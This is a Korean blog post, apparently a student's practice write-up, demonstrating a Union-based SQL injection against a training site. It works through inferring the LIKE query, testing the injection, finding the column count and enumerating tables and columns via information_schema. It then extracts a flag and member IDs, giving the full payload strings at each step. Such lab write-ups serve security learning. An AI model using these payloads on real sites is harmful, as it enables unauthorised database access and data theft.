본문 바로가기
공부/해킹 과제

Union SQL Injection

by TILDA_16 2023. 4. 21.

SQL Injection을 사용하면 데이터를 추출할 수 있다.

 

여러 가지 케이스가 있고 

 

SQL 질의문이 화면에 보이는 경우와 보이지 않는 경우가 있는데

 

지금은 보이는 경우이다.

 

이 경우에는 Union을 이용하면 select문을 2개를 연결해서 SQL 질의문을 만들어 낼 수가 있다.

 

Union을 사용할 때는 앞에 있는 select문과 뒤에 있는 select문의 컬럼 개수를 맞춰야 하고

 

각 위치에 맞는 컬럼 타입을 사용해야 한다.

 

Union SQL Injection을  연습해 볼 수  있는  사이트

(1) 추리

가장 먼저 서버에서 어떤 SQL 질의문을 사용하는지 추측을 해봐야 한다.

select ???? from ???? where name is '@@@@'

이런 질의문이 있을 거라고 가정을 해보자

사이트에서 overwatch를 검색해 보고 over, watch, erwat를 검색해 봤다.

검색결과

모두가 같은 결과가 나왔고 이로써 우리는 SQL 질의문이 is가 아니라 like를 사용하고 이러한 형태라는 걸 알 수 있다.

select ???? from ???? where name like '%@@@@%'

 

(2) 취약점 확인

이제 취약점을 찾아볼 것이다.

주석은 사용하지 말고 and 구문을 이용해 볼 것이다.

@@@@에 우리가 입력한 값이 들어갈 것이고

overwatch%' and '1%' = '1

위의 구문을 넣어볼 것이다.

overwatch%' and '1%' = '1을 입력한 결과

정상적으로 데이터가 출력이 된다.

 

(3) 데이터 결과가 화면에 나오면 Union

위의 결과를 확인했으므로 우리는 Union SQL Injection을 사용할 수 있다.

Union을 사용하려면 컬럼의 개수를 알아야 한다.

따라서 order by 1을 사용할 것이다.

overwatch%' order by 1 #

4까지는 데이터가 나오지만 5부터는 에러가 나오므로 컬럼의 개수는 4개라는걸 알 수 있다.

컬럼의 개수는 4개

 

(4) data 출력 위치 파악

컬럼의 개수는 4개지만 우리한테 보이는 건 3개의 컬럼이다.

따라서 어떤 컬럼이 출력되고 어떤 게 출력 안되는지 확인을 해봐야 한다.

overwatch%' union select '1', '2', '3', '4

data출력 위치 파악

2, 3, 4에서 데이터가 출력되는 걸 알 수 있다.

 

(5) database 이름 확인

select database()를 사용해서 DB이름을 찾아낼 것이다.

DB이름을 알아내는 이유는 우리가 원하는 SQL구문을 넣기 위해서 알아내는 거다.

테이블과 컬럼이름도 알아낼 예정이다.

명령어는 DB마다 다르기 때문에 구글링 해서 DB에 맞는 명령어를 사용하면 된다.

overwatch%' union select '1', database(), '3', '4

2에서 DB이름을 확인할 수 있다.

2번 자리에 database()를 넣었고 DB이름은 segfault_sql이라는 걸 알아냈다.

 

(6) 테이블 이름 확인

테이블 이름을 확인하는 건 DB마다 다르고 구글링 해서 명령어를 찾아오면 된다.

select table_name from information_schema.tables where table_schema = 'segfault_sql' #

 

이러한 명령어이고 지금까지 사용한 명령어에 맞게 바꿔서 넣어준다.

 

overwatch%' union select '1', '2', '3', '4

 

overwatch%' union select '1', table_name, '3', '4' from information_schema.tables where table_schema = 'segfault_sql' #

테이블 이름 확인

game, member, secret이라는 테이블이 있다는 것을 알아냈다.

 

(7) 컬럼 이름 확인

테이블 이름을 알아냈으니 이제 컬럼 이름을 알아낼 것이다.

마찬가지로 DB마다 다르므로 구글링 해서 찾아왔다.

select column_name from information_schema.columns where table_name = 'serect' #

 

overwatch%' union select '1', '2', '3', '4

 

overwatch%' union select '1', column_name, '3', '4' from information_schema.columns where table_name = 'secret' #

컬럼 이름 확인

idx와 secret이라는 컬럼이 있다는 걸 알 수 있다.

 

(8) 데이터 추출

select문을 사용할 수 있는 정보를 다 모았다.

우리는 이걸로 데이터를 추출할 것이다.

select sercret from serect

 

overwatch%' union select '1', '2', '3', '4

 

overwatch%' union select '1', secret, '3', '4' from secret #

 

플래그를 찾았다.

플래그를 발견할 수 있었다.

 

아까 찾은 테이블 중에 member가 궁금하니 확인해 보자

테이블 이름까진 알아냈으니까 이제 컬럼이름을 알아내면 된다.

select column_name from information_schema.columns where column_name = 'member' #

 

overwatch%' union select '1', '2', '3', '4

 

overwatch%' union select '1', column_name, '3', '4' from information_schema.columns where table_name = 'member' #

member의 컬럼 종류

member의 컬럼은 종류가 많고 여기서 id를 이용해서 데이터를 추출해 볼 것이다.

 

select id from member

 

overwatch%' union select '1', '2', '3', '4

 

overwatch%' union select '1', id, '3', '4' from member #

member 테이블의 id 컬럼의 데이터

이런 식으로 데이터를 얻어낼 수 있다.

'공부 > 해킹 과제' 카테고리의 다른 글

Blind SQL Injection  (0) 2023.04.28
Error Based SQL Injection  (0) 2023.04.21
로그인 CASE  (0) 2023.04.18
SQL  (0) 2023.04.14
인증 우회 케이스  (0) 2023.04.10